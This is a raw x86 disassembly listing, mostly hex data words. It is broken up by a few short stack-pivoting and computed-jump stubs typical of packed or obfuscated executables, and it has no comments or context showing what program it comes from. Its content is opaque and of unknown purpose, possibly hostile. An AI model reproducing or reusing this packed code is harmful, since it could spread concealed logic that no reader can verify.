		dd 0FFE68366h, 0D68D338Ch, 0F3AB67BCh, 0C0993F68h, 0D78900AAh
		dd 8A292B47h, 238D07E0h, 39D870C0h, 37B1DA65h, 0B74CB20h
		dd 0B4EA267Bh, 5865C90Eh, 6EB78B73h, 99B5451Bh,	0B03191C7h
		dd 0CEE772CBh, 0D515A5BBh, 915156B9h, 29E77CAFh, 0CE660C75h
		dd 0C5D9398Eh, 0F521AB1Fh, 6CC5B78Eh, 40ECB2DCh, 0D7F0832Fh
		dd 0CF449931h, 27EC99CFh, 265AB977h, 367131C9h,	65797h
		dd 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h,	0D4CA47F4h
		dd 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h, 501F5549h
		dd 9379DCF8h, 41A707E6h, 0B6CA78Ah, 0E6838CEFh,	0E4BA56FFh
		dd 6FEF3059h, 0E682F053h, 54BD16FFh, 0D01060EBh, 0E68351B4h
		dd 833746FFh, 19E8C57Ah, 0CFCF43D8h, 38B21B44h,	0DC716F2Eh
		dd 298A3038h, 46700060h, 0DD9EC96h, 23BB6141h, 0E161A507h
		dd 4278D107h, 62207E95h, 9E64D00Fh, 0CD36D510h,	31000005h
		dd 0D683B9E5h, 7F2C623Ch, 25D20896h, 0D17EB4EAh, 0F4285E40h
		dd 0E5B9583Fh, 8C1202AFh, 3767A956h, 0DFBF5401h, 6682DAA9h
		dd 7E69303h, 0BC14CB31h, 82FD607Ch, 0CA23FFE6h,	0CB258850h
		dd 21C70E73h, 51C39F74h, 3099C24Dh, 0CBD340A5h,	39F32440h
		dd 0AAE0BE55h, 750FA2DAh, 3E4038h, 0F3D10000h, 1E3ACA96h
		dd 7E08C34h, 0AAF41DB2h, 0FD8DF61Fh, 0A8336BA8h, 8BD93C58h
		dd 0AE0707E0h, 0E00C9F45h, 7E08B79h, 41480283h,	406E9709h
		dd 67A7h, 0FB175700h, 7E07F98h,	8BF65BEh, 0E4B996F3h, 518227E0h
		dd 0C1DD6DD6h, 7E199C0h, 1B839126h, 6EFE6790h, 94F35144h
		dd 0C166FC12h, 96BF4A54h, 0F0358F0h, 7FE5598Fh,	4707E0F5h
		dd 49CD2CCh, 93A550DAh,	7AD6859h, 68AAB85Ah, 1982AB36h
		dd 0F6143E8Eh, 0A40723A9h, 0D207E0A3h, 6D52FF79h, 0D51900A6h
		dd 0B2000004h, 3ACA96F3h, 0E0AD8C1Eh, 7E9A1A07h, 7E0AC1Bh
		dd 6ADA2710h, 63A4A550h, 0BC11A10Ah, 97070A58h,	0EF7AE30Ch
		dd 288D20C6h, 0CE23B3EBh, 5DB75C42h, 0E78DB641h, 8C2FB54h
		dd 395C0F39h, 0EA51969Fh, 0BAA6E344h, 55AAEA2Ah, 3059E4BAh
		dd 0E14B61C4h, 91368F07h, 3771D81h, 0FDB7571h, 5E40D126h
		dd 0E0166FB8h, 33BEE033h, 1D818EE3h, 79049A78h,	4049AA50h
		dd 0E749020h, 3C07E180h, 803DA0BCh, 0E36307E1h,	0E18064C7h
		dd 0D0399207h, 9C77DC67h, 0FE127702h, 65F0AE64h, 0F848D33Ch
		dd 0E18079DCh, 0F24EA707h, 8D5F07C1h, 8EF10D4Dh, 0B407E180h
		dd 7A34B55Bh, 73107D96h, 1A848B0Dh, 11EC668Fh, 6CFC65E1h
		dd 16A6F817h, 0E0DA97FAh, 0BE64BD07h, 8CA8E880h, 7E0DA29h
		dd 0F758FE57h, 1C829292h, 9D0723B3h, 490FDAF1h,	0B5405EB4h
		dd 3398238Ch, 187B97E0h, 5FFE6C4h, 0C1C57F82h, 54D4154Eh
		dd 0E748D538h, 39A2FBFFh, 482A8DA9h
		dd 0FF58FFE7h, 6CA60B96h, 0D042A732h, 0BEFF43CEh, 618A5C04h
		dd 0E67A0FA7h, 97FA1656h, 0BDFFE748h, 4955BF64h, 85EF0BA3h
		dd 6107E15Fh, 5662C5E1h, 0FB9007E1h, 0D3FC8717h, 1ECB016Ah
		dd 0CE1EA9F5h, 61079779h, 0B6415DB4h, 866A245Dh, 43DB118Dh
		dd 0DB479819h, 0F99F014Bh, 0DF6FF198h, 0DB165DC3h, 2EE53A0Fh
		dd 16BCE570h, 84E974CDh, 557F0F8Fh, 0C5554512h,	0E07319ECh
		dd 0D36B254Eh, 0FE1AAAB6h, 7E10298h, 0B81B3777h, 0DE07E102h
		dd 6F2FE085h, 0CC15BBE4h, 0D0B9E373h, 857213B7h, 35E220C6h
		dd 630C0DEh, 0D3C00B7Dh, 0EE812745h, 84148A89h,	0E0C79D5Ah
		dd 282326E0h, 0E8F56B9Ch, 0FC3AE049h, 98060F64h, 2CF891F2h
		dd 0BD4DB6E8h, 0DB0D07A1h, 0B7429B0Fh, 0E6F8248Bh, 0F3AD2EFFh
		dd 7500B4ECh, 365238h, 0C2020000h, 0E6F043A6h, 721871FFh
		dd 0CA96F3BBh, 9C501E3Ah, 0F54E07E0h, 9BD73E6Ah, 60E107E0h
		dd 9082D7A6h, 0B45A830Eh, 6EA7ACE4h, 0F94A40h, 0A5FA0000h
		dd 0D68D336Bh, 0A7326CA7h, 8CA8CF42h, 0FFE68329h, 0E84FE57h
		dd 0AF7D515Bh, 78DD68D1h, 1378039Bh, 0F4689E00h, 0FFE6AD08h
		dd 0BAD6A172h, 0FFE6A457h, 85BB247Dh, 0EA273BD8h, 0A7C04BB4h
		dd 0D2EE7EE2h, 7E0B9ECh, 2A8BC11Ah, 5571015Fh, 0FDD9979h
		dd 67BC4CA5h, 3D61B4AEh, 2FE449D4h, 52BBE46Fh, 7FD414ACh
		dd 0B6630995h, 73B3435Bh, 0ED58F457h, 54B7D3FFh, 82FFED59h
		dd 0E98FE829h, 4F13FEABh, 0D939DEC0h, 419E5CC5h, 42999896h
		dd 21E6807h, 36E00000h,	8D853268h, 0E72EDB11h, 3BD481B7h
		dd 91802D63h, 0EEA3D70Dh, 5C920C05h, 33965AFh, 0AEE4BA56h
		dd 568C1201h, 0B0132F87h, 0D607E697h, 6AA7B970h, 0C251FE34h
		dd 0F9A3E1CBh, 0D3FC8717h, 0A4317759h, 0E72A2588h, 89F24BFFh
		dd 0E9669020h, 41972CEEh, 6F0745EBh, 3BB0132Fh,	7DD6FFE7h
		dd 0DA6539D8h, 0F3540BB1h, 0FA3ACA96h, 833B9EBAh, 0FE1AFFE6h
		dd 0FFE6839Bh, 0D62F70C9h, 9BEEBC30h, 739D07E0h, 4E578E14h
		dd 0B3FCA226h, 0BF9D7C49h, 922284CEh, 0E17E1376h, 7FE84107h
		dd 0C04FA4F4h, 2E1953DEh, 0AB697142h, 3AAE54BDh, 7E0A4D3h
		dd 9BA25CDDh, 406EB063h, 811DF54Ah, 0DAFADBh, 0A78B0000h
		dd 42A7326Ch, 1844CFCFh, 0FFE6882Ch, 6CA5BD56h,	0F47F1FF6h
		dd 69F962CBh, 87AA0D29h, 7FD8FFE6h, 25EE9BD9h, 0B4D5EE79h
		dd 9CDC1CACh, 0E6871D80h, 0CED943FFh, 5D21156h,	0A317BD26h
		dd 7E114BDh, 0F95A90E9h, 2A8DA990h, 5807E0ECh, 0F08785FFh
		dd 0D70B9CAh, 0BFEA14A4h, 0E0E70229h, 0E1FD953Bh, 0FDDB9A6h
		dd 0BD203CBCh, 0E3FFED0Bh, 5191218Ah, 0ED0BD235h, 1A700FFh
		dd 0A1FD1469h, 927ED36Bh, 0F35C42D0h, 0F171A04Dh, 0CFCF431Fh
		dd 49B21B44h, 98C84A8Bh, 4BEA2599h, 0C0h, 90C6D83Eh, 396F2FE3h
		dd 0DF15898Ch, 8BC1DD32h, 356B33DEh, 0AE634C01h, 70DBAF0h
		dd 5CB46197h, 0B45F0C42h, 8DE5B4EAh, 0E6980E71h, 17CE3407h
		dd 0FE346AA7h, 6FA0C251h, 0D990C62Fh, 0A7326CA7h, 98FB1757h
		dd 0BEFFE683h, 112BF65h, 82F75A76h, 0D4E4FFE6h,	0E5EB17C9h
		dd 3CA5FE3Fh, 7CE4A506h, 506CACECh, 0FFE6DEEDh,	0A014BA13h
		dd 7E6E925h, 0B3EB26BBh, 52690F39h, 1A83AD2Fh, 0B5E92A8Fh
		dd 5D41D27Fh, 9842A6D2h, 0C41417B8h, 55FBA36Fh,	0DD361AD4h
		dd 35DE8BC1h, 9679DE69h, 0C2EB7D08h, 0AFEF2408h, 4647CC79h
		dd 0B55F1D1Ch, 5945CD15h, 5DFC87F0h, 8,	267BBBF6h, 540BB1EDh
		dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h
		dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 4EC8152h
		dd 54000000h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 7A9D6824h, 34890000h, 0CC685024h
		dd 584A8A67h, 75A31B05h, 8BC189BDh, 0C4812404h,	4, 24348B54h
		dd 4C481h, 51500000h, 8468958h,	24348B58h, 81E68956h, 4C6h
		dd 4C68100h, 87000000h,	8B5C2434h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 8E3Ch
		dd 3E9A7157h, 167CB844h, 0C5030800h, 856CE0FFh,	0B04D18C9h
		dd 0D4D41A1Dh, 16230DC0h, 69AB0263h, 277D1F22h,	8B1B2BC3h
		dd 359F2A2Eh, 5EE87044h, 93620AB1h, 0B147CF2h, 8D8D1A83h
		dd 8001812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	8DC35646h, 8F89988Ah, 0FE958CCh, 0EB000000h, 9510B373h
		dd 0CD0BA59Bh, 0AC23473Ah, 8D896AD9h, 7FA1CD9h,	100D9523h
		dd 85C707FAh, 7FA31ADh,	641Ch, 0AE9h, 0D9246F00h, 0C12D8E32h
		dd 0C7A1A217h, 0FA2BD985h, 7, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 289BD2B2h
		dd 99A25F84h, 68D0Fh, 9D8B0000h, 7FA0079h, 14C99D23h, 0B5FF07FAh
		dd 7FA2F59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	5FC35747h, 807A46CDh, 95FF00DEh, 7FA1799h, 95FF006Ah
		dd 7FA1019h, 0CEBC08Bh,	0F933A049h, 3520DD2Bh, 0D6A6F456h
		dd 0FE8h, 6E99A00h, 81BBC537h, 8A5E14EDh, 72FB698Bh, 4840Fh
		dd 0BF660000h, 0F5E1C9Ch, 880h,	8D895600h, 7FA29BDh, 95C6815Fh
		dd 300006Ch, 0FA1C2195h, 1C93307h, 0FA062585h, 0E048B07h
		dd 2FA9950Bh, 0F08107FAh, 1A9EF249h, 54F081FCh,	8126C020h
		dd 1E48FDF0h, 259D8B5Bh, 5007FA2Fh, 8FDE8B66h, 0CA800E04h
		dd 0D040BF4Ch, 0E98101DAh, 4EB90D7Fh, 7BC181F5h, 604EB90Dh
		dd 0D9F38166h, 219D8B3Fh, 6107FA08h, 9400F981h,	850FFFFFh
		dd 0FFFFFFA9h, 1E299D09h, 10E807FAh, 0B7000000h, 160879C1h
		dd 90CAF4DAh, 0A47804D5h, 8076E8F3h, 315F3BDFh,	0FA29E595h
		dd 16C78107h, 0F000071h, 289h, 33CB8B00h, 0E98166D2h, 34FF7881h
		dd 3595093Ah, 5807FA0Dh, 81F081F8h, 0B17E31F7h,	29E881D6h
		dd 89358235h, 0FA0821B5h, 29C08107h, 8B64433Dh,	0FA0811B5h
		dd 17048907h, 24E59589h, 9D8B07FAh, 7FA0E51h, 0F02EA83h
		dd 989h, 3880F00h, 80000000h, 4A4A2DD9h, 2C31B58Bh, 0FA8107FAh
		dd 0FFFF8FA8h, 19850Fh,	0B5890000h, 7FA21D5h, 28E9h, 709FF300h
		dd 0F71FE784h, 0BDF8B1CAh, 0FE7E433h, 68Ch, 0C98D8B00h
		dd 0E907FA31h, 0FFFFFF76h, 6623A1ADh, 6405607Ch, 28E9D7h
		dd 7D270000h, 57CAh, 253h, 7 dup(0)
		dd 1FE90000h, 6800000Ch, 8001B47h, 0FB3B57E9h, 1C7D68FFh
		dd 4DE90800h, 68FFFB3Bh, 8001E14h, 0FB3B43E9h, 1ED768FFh
		dd 39E90800h, 68FFFB3Bh, 8001FB6h, 0FB3B2FE9h, 217468FFh
		dd 25E90800h, 68FFFB3Bh, 8002224h, 0FB3B1BE9h, 235768FFh
		dd 11E90800h, 68FFFB3Bh, 8002442h, 0FB3B07E9h, 378E81FFh
		dd 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h, 0B65C47E1h
		dd 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh,	30AE6BE8h
		dd 0D50EEFE2h, 259C6DA1h, 0A312EB8Ah, 2865A51Ch, 316E74F1h
		dd 95E0EF7Ch, 410CC5FAh, 2E99EFDCh, 13250E63h, 329CD0AAh
		dd 78000000h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h
		dd 27F25DEFh, 0AA2579CAh, 10B58D0h, 72F10000h, 13487F8Bh
		dd 0EFDC2356h, 0D3EA17B6h, 65A2ED38h, 18EED539h, 789168A5h
		dd 9077AE49h, 370E4B7Ah, 0B958F3CAh, 37D67140h,	0C98603C6h
		dd 29E7E216h, 755C93DEh, 4A953087h, 660F4E0Dh, 0ABB89C78h
		dd 79E623C7h, 0E7E31273h, 0ECB48C7h, 6EE7E312h,	3B8639CFh
		dd 8BD627FEh, 60AB4671h, 16E78E15h, 5595049Fh, 6264E118h
		dd 0AEEF7D32h, 0B38F4705h, 0DB183BA6h, 41B83F8Ah, 0E48DC4F9h
		dd 71E19817h, 1F8ECB85h, 5A47B9A0h, 96D1F227h, 0A23D885Ah
		dd 0D0AD1A57h, 70F771DCh, 0FA07EE25h, 53A58CC3h, 21601F5Ch
		dd 5D6825A2h, 7DC8F7DAh, 259C6940h, 675F37E7h, 0B5F8C31Dh
		dd 9DEh, 0E36A43B4h, 6EF5CC3Ch,	0FD843BC7h, 860DA056h
		dd 149B22DFh, 1CE9697Ah, 84771EA5h, 903AA31h, 799037BEh
		dd 1B8AC148h, 0E231E19Eh, 0D40841EFh, 0F229906Dh, 86C3F20Bh
		dd 0D8E920C7h, 0D02B1251h, 0B14C7B91h, 8D7C1B66h, 114E9934h
		dd 0CC5D9DE5h, 9DE8833Ah, 1D9C1B52h, 0E216E3A0h, 0BBF843E7h
		dd 7C201C4Eh, 0A03B86EFh, 0DC2FB26Bh, 0D9C03FEFh, 0FB569322h
		dd 2462D130h, 0C069D0AAh, 6F571A9Dh, 0AB14D04h,	4E0B88BFh
		dd 0AEEFDC5Ch, 0EDAD2663h, 89000000h, 0AA13EED5h, 4E67966Dh
		dd 0D0E914B3h, 0EB17FE35h, 242A97D4h, 78E7E21Ch, 1BBF7CF9h
		dd 0D41FE7E2h, 8C49C097h, 0C25D54A5h, 1C854277h, 46E5E7E2h
		dd 1B6601B4h, 0E9D831D0h, 31B8034Eh, 0A742738Ah, 84BBF038h
		dd 7C3D0507h, 9D246FEFh, 0A562DF5Eh, 5EFDC3Ch, 96D67DBAh
		dd 3BABF805h, 2A827F10h, 0C30EA9F4h, 0EB520F8Ch, 67B2EFDCh
		dd 0C068E51Ch, 1AF77137h, 0EC378E7Bh, 8A33CEB5h, 9A57D453h
		dd 0FAF7D9C9h, 0CB372AFh, 308974F1h, 0D6033495h, 500E6Dh
		dd 22C6AB5h, 0FE1D6847h, 8A8F033h, 15EA0000h, 9A7219A0h
		dd 1FDA42Bh, 7A8C33BAh,	0E815BC43h, 0A3B04AD1h,	54DBE21Fh
		dd 0E0675EADh, 6DF4C339h, 0F77E37C6h, 17D451C0h, 77EFE233h
		dd 906D0A3Eh, 0F30BF229h, 0DFD625C4h, 0FDBCF944h, 8F26D7BEh
		dd 956CA9F4h, 0CAC64D64h, 0AA13EED5h, 0D925C40Fh, 0BFFC47E2h
		dd 5A011E8h, 0A017E7CEh, 447D8C63h, 0C90646BDh,	235B1592h
		dd 54B5EF7Ch, 0FDA75B4Dh, 0BA0DFF25h, 0EA89246Fh, 741BA213h
		dd 5A912C85h, 0BFA15EDBh, 0B601EFDCh, 0E1320C79h, 0B046771Ah
		dd 0C96453A9h, 0F998337Eh, 7716B100h, 48932E81h, 9405D0EBh
		dd 6421EC07h, 8031C895h, 0C84F9AE5h, 0A2D9E821h, 0E2E9A623h
		dd 12497722h, 22E2D895h, 0A2ED3877h, 0A35D9265h, 187722E2h
		dd 7A4BC2A9h, 4E17E23Dh, 0E8CF06BFh, 0BB24F12h,	3FDA2570h
		dd 0CA355F4h, 2AE92671h, 0A03B8A83h, 0BA50556Bh, 99648766h
		dd 0DE7E2DDCh, 0B2C31AA2h, 0DA97144Bh, 3A7722E1h, 761DA4EFh
		dd 8C54287h, 687722E2h,	0C837D21Dh, 95144B80h, 2A675EAEh
		dd 0BD009BBDh, 73FA457Eh, 487FBCFCh, 0B742A5CBh, 0BA523986h
		dd 327DCE0Bh, 44A86297h, 0B8378717h, 0EF8A39D1h, 33F06DA4h
		dd 93871745h, 0E5B00B48h, 6517A78Ch, 47F1A48h, 0D7F60000h
		dd 0E7E2171Ah, 0E226A55Eh, 28C0E1E7h, 934CE7E2h, 0CDE7E22Bh
		dd 2C8AC024h, 4F8C541Ah, 0F42B60A8h, 0B03BF875h, 509BE7E2h
		dd 5927A413h, 0FBEF7CCAh, 0DDCE72B0h, 6F3A1565h, 7112Ch
		dd 378E8100h, 0C2F109B0h, 5168943Bh, 0DAED23CAh, 6851AC53h
		dd 0B65C47E1h, 44EB724Bh, 0D077FEB7h, 5D048B3Ah, 578E15ACh
		dd 34AE6BE8h, 0D50EEFE2h, 259C6DA1h, 9ED31B8Ah,	0EC69E867h
		dd 0E7E2172Fh, 9A07448Fh, 0DFE21E70h, 0E8DF2BCAh, 30B7024Dh
		dd 0A3EBF414h, 1CBA376Eh, 0BEF77C36h, 0F1933C73h, 0A7F019ABh
		dd 2F94FD3Ah, 96FD8BB7h, 73E73BBh, 0D7B6348Ah, 25E1C8AEh
		dd 81B8039Eh, 37C64704h, 1F5CA7AFh, 0B1E883CEh,	0C5F8B532h
		dd 0D58AF37h, 0ACE129D0h, 0BC79F675h, 1CAF37C5h, 0EADB32D1h
		dd 0AAC13EADh, 42B6D1F0h, 20D9C0F7h, 0AA630A91h, 0E2039605h
		dd 0E12C89D2h, 0D034A9A3h, 539661DDh, 64Eh, 73FAB344h
		dd 0FE853CCCh, 8D14AB57h, 169D10E6h, 0A42B926Fh, 8C79190Ah
		dd 0F407AE35h, 79933AC1h, 0E920C74Eh, 0AB1A51D8h, 0E235712Eh
		dd 6498D1EFh, 30CC5D9Dh, 56F1C835h, 3E75C00Bh, 740FA657h
		dd 7DEC29h, 0EF7C2346h,	44DD3FA0h, 0BAF851Dh, 0DC66D18Eh
		dd 9BE631EFh, 0E716B550h, 77A633CEh, 0B24D7490h, 4CF2A67h
		dd 0BDF42971h, 76738640h, 5E95E0F7h, 82A562DFh,	0BA05F7D6h
		dd 0C881BE7Dh, 4F7D682h, 0F7D68347h, 8A800951h,	0D2B9F03Bh
		dd 0DE4D8A3Bh, 0D68A3761h, 7C3091EFh, 0ACEED8A7h, 33AD520h
		dd 6EBEED1Ch, 8D118A94h, 4C97327Dh, 2B685FADh, 0D66502BEh
		dd 48C746FFh, 0D6650ECBh, 0EE236EFFh, 0FFD66531h, 9C094691h
		dd 0EF6DD288h, 2E6C45B4h, 56B5726h, 6FD417E2h, 23000005h
		dd 0AB52D9ECh, 36DD6453h, 0C56CF3CAh, 4EF57C33h, 0E9830AB3h
		dd 14AD58FAh, 0A015E68Dh, 2D987219h, 0B70EFFA6h, 0D8AF930h
		dd 0EFE23650h, 9D4377B0h, 6CE9205Dh, 0DFE21E42h, 0C582FF7Eh
		dd 25EFE22Fh, 6926A3DAh, 0C9EFE230h, 0A5F0417Eh, 23926B0Ah
		dd 0BCF305ECh, 9A81C07Fh, 70BB566Fh, 2FFFBC39h,	145FEFE2h
		dd 0B2EF30D7h, 30817817h, 0A40B02A9h, 41F504BBh, 0D224C38Ch
		dd 0AAF540DBh, 2B2FD80Fh, 8D48794h, 0F1719124h,	0FCFBB690h
		dd 0E219C27Fh, 8CD722EFh, 3081784Fh, 713C9795h,	40B69D1Ch
		dd 1A7B386Dh, 90DBEFE2h, 348D7C53h, 3EC172ADh, 5A00DF50h
		dd 0DC000001h, 0E9205D9Dh, 7C354A6Ch, 0A555F4EFh, 0DD28730Eh
		dd 46560D42h, 5AC9EFDCh, 0F12E9973h, 0F23ACB96h, 0E70986BDh
		dd 91F77664h, 0E118BF46h, 98338A7Ch, 0C867024Dh, 82F98031h
		dd 51CE053Ah, 0FF70904Bh, 0A2D772BDh, 0FFD09FE9h, 0DD400B76h
		dd 14AF06F6h, 12218CC9h, 0AFC0BEB0h, 2Ch, 205D9D8Bh, 1F3A6CE9h
		dd 59A4EF7Ch, 2ED089BEh, 67A2EFDCh, 0D824C35Eh,	8AAD46E1h
		dd 0FB664ABFh, 2562D130h, 0C45FD0AAh, 3B000000h, 490F9C6Dh
		dd 3A33A920h, 0FB6A3C9Dh, 96387086h, 6A6B144Bh,	4C759052h
		dd 72409EBh, 0E5229368h, 2F967312h, 5904F594h, 2E7914A3h
		dd 681148E3h, 95673753h, 2EDC122h, 82F9B633h, 0E59E7E2h
		dd 5EAF86C3h, 9DA3E067h, 89E7E287h, 43BA4170h, 128FC6FBh
		dd 0EF76D5E8h, 0D9C0F742h, 6F2CA92Ch, 0CFEFDF68h, 5EBA2384h
		dd 0BB3C4BFEh, 0C742E970h, 0D8BEC0FEh, 9F6A1562h, 3B15Ch
		dd 972EE100h, 22916910h, 0B108F49Bh, 3A8D832Ah,	0C8F10CB3h
		dd 16BCA741h, 0A44BD2EBh, 30D75E57h, 0BD64EBDAh, 0B7EE754Ch
		dd 380ECB48h, 356EEFE2h, 0D5906D01h, 0C0479229h, 9AD1E019h
		dd 16E19E1Bh
		dd 0F641E7E2h, 6DFEFAB9h, 0EB8A259Ch, 0DD1CA312h, 75B20BF6h
		dd 971ED749h, 0A15AE7E2h, 0DBE7E296h, 14AF06F4h, 97328975h
		dd 1DC4014Ch, 7BE4CDDh,	0DE0885BCh, 38DFE29Eh, 9BE352EDh
		dd 4D78937Ah, 753267B2h, 0D5EFE2B1h, 52EDC036h,	3A71BC07h
		dd 0FF1912BBh, 8F63AD7Fh, 60AB4679h, 0DD6BD815h, 7FF77CB1h
		dd 826AF634h, 0CB961D65h, 30188h, 477E9100h, 0D2E119C0h
		dd 6158A44Bh, 0EADD33DAh, 7841BC63h, 0C64C57F1h, 54FB823Bh
		dd 0E0870EA7h, 6D149B2Ah, 679E259Ch, 38BE7BF8h,	0E51EEFE2h
		dd 259C6DB1h, 8D12EB8Ah, 2232B9D6h, 0CA519C30h,	8C820B53h
		dd 0EA679E39h, 0E7E2582Dh, 0ACF7428Dh, 72F2F875h, 1964EF7Ch
		dd 0C5EE39E2h, 0B1995D4Ah, 0B36CA174h, 40EFDCB6h, 8CB70AD5h
		dd 45D0AA99h, 39h, 205D9D21h, 1F3A6CE9h, 59A4EF7Ch, 2ED089BEh
		dd 68A2EFDCh, 75C0F709h, 0F5C03BDAh, 0D39EC15Ah, 4C178266h
		dd 0AA254EF5h, 910E8DD0h, 0EFDC22D4h, 33ACE934h, 0D3h
		dd 0D19C6D0Fh, 0F1C43A35h, 25C00B56h, 55F48FDAh, 0D77611A8h
		dd 1A67926h, 4581C992h,	49C05FFAh, 7189D424h, 115CA742h
		dd 59E02B76h, 0E29D161Ch, 0BA0B02E7h, 0F07D8C33h, 2A61AC15h
		dd 5FFACD43h, 0A360DD14h, 3E7E29Ch, 39A87BB8h, 219068F1h
		dd 43B89FD6h, 49C63572h, 0EF7CB10Fh, 924FCC4Bh,	0F2EFDCB3h
		dd 0CE196AA7h, 5388D047h, 155F9F1Ch, 7EC9F771h,	1CA56047h
		dd 0AA13EE95h, 6865066Ch, 0F437021Dh, 1CEh, 0F37A33C4h
		dd 7E05BC4Ch, 0D942BD7h, 961D9066h, 24AB12EFh, 0CF9998Ah
		dd 74872EB5h, 0F913BA41h, 69A047CEh, 2B9AD158h,	0E239F1AEh
		dd 0E41851EFh, 0A229906Dh, 4AC702FBh, 0E7E2178Dh, 6BF4EEDh
		dd 9C905ABBh, 3A38D088h, 9D6C68EFh, 40E9205Dh, 0BBC5F923h
		dd 0A1104D61h, 7CB2F224h, 0C9FB5CEFh, 7E773158h, 0CC039EE9h
		dd 3E27FA23h, 6698671Ah, 5AC7044Fh, 0EFDC7DA1h,	99F8C32Eh
		dd 0D0AA5AAAh, 7835B231h, 0D8EFDC72h, 55F0C739h, 982BF0Ah
		dd 0C0h, 259C6DE5h, 0A71EEB8Ah,	1BD1D70Ch, 4CBDE7E2h, 0B647EE75h
		dd 0B5F564FFh, 8AC44178h, 0E4EF7C2Fh, 54D31299h, 0DC311AD7h
		dd 0F22F7AEFh, 97CE034Bh, 306D54B0h, 7E5F44C1h,	0C40FF770h
		dd 625BA68Dh, 0DAC934DBh, 0A11826E0h, 609EE9D5h, 1D69FF38h
		dd 0E3DE21ECh, 0AF000000h, 37DE6558h, 0C269F0C7h, 51F87F46h
		dd 0DA8108BFh, 750F962Fh, 0A019E46Eh, 2C997219h, 0B90CFEA5h
		dd 43728B32h, 991685BCh, 0EFE23ADCh, 0D5CF033Ch, 171CD956h
		dd 317CE7E2h, 85E01DF4h, 639F3E75h, 0F3DA115Ch,	10A7571Ah
		dd 44DF2A75h, 56FDBCF9h, 58D70EA7h, 0E2171EDBh,	0F6337EE7h
		dd 0F511F837h, 669433CEh, 9BC7044Fh, 370F9C6Dh,	8C31537Ah
		dd 0D209A4EFh, 9B025F29h, 0B4F104BFh, 0E952CDDh, 0E31A5797h
		dd 0E2E82066h, 0AC4792DFh, 9971FC0Dh, 0B158DF2Ah, 99CE6958h
		dd 3FACC2DBh, 5AB39AC9h, 8D32E6Bh, 0E8DFCC3Dh, 0A71B488Fh
		dd 7A21A8F3h, 0F8973283h, 9178AF06h, 0EAD487Fh,	1F80CBF2h
		dd 754830E8h, 855895A9h, 0F712F928h, 0ABE833CEh, 49C08550h
		dd 0B34AF178h, 3246702h, 0
		dd 9A6DB6DAh, 10E98823h, 956706A1h, 13E88722h, 9D6807A2h
		dd 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h, 68FA8A25h
		dd 738Bh, 24048F54h, 4240481h, 56000000h, 0C681E689h, 4
		dd 4EE81h, 34870000h, 14895C24h, 2A5D6824h, 1C890000h
		dd 9DBE5624h, 81403207h, 1433EFF6h, 66F68107h, 894F262Eh
		dd 24348BF2h, 4C481h, 8B540000h, 0C483241Ch, 57D16804h
		dd 14890000h, 8438F24h,	53241C8Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 148B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59895C
; ---------------------------------------------------------------------------
		dw 0EAA6h
; ---------------------------------------------------------------------------
		push	cs
		cmpsd
		mov	eax, 800254Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 49h
		dd 2100CB79h, 0D5251A55h, 0DB17A529h, 0CD675C43h, 8A2BBD27h
		dd 0D861D50Ah, 216F554Fh, 162561E0h, 0D101A9EAh, 210D0C6Ah
		dd 4D02FF2Dh, 3730F4B1h, 322B3437h, 6C498E4Ch, 0F76DEAE3h
		dd 8D64A90Ah, 27058Dh, 51006A08h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4F709B2h, 66262692h, 0F60DE8Bh
		dd 8B51D9B7h, 0FA266DB5h, 89615F07h, 0FA1CD98Dh, 6840F07h
		dd 89000000h, 0FA30FD95h, 0AD85C707h, 6C07FA31h, 8900005Ch
		dd 0FA1771B5h, 0D985C707h, 7FA2Bh, 0E8000000h, 0Ch, 0FC93AB49h
		dd 0CD776FCEh, 0F2C82B6Eh, 0EDB5FF5Bh, 6A07FA28h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 38A1C350h, 4645F240h, 0EE950A2h, 0C7000000h,	0DDCE1A36h
		dd 68453465h, 0E22F82F9h, 95FF5FF0h, 7FA1799h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 93C35747h, 647E7BCh
		dd 6A0F4575h, 1995FF00h, 8B07FA10h, 951AEBC0h, 0EA052693h
		dd 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h, 41919141h, 8E9C4042h
		dd 0D3E9F7h, 0F0340000h, 9CD75F54h, 0C8C3CA45h,	0ABDAB6E1h
		dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
		dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
		dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h,	97B1EF76h
		dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
		dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h,	0BF9792B0h
		dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh,	9492ABF7h
		dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
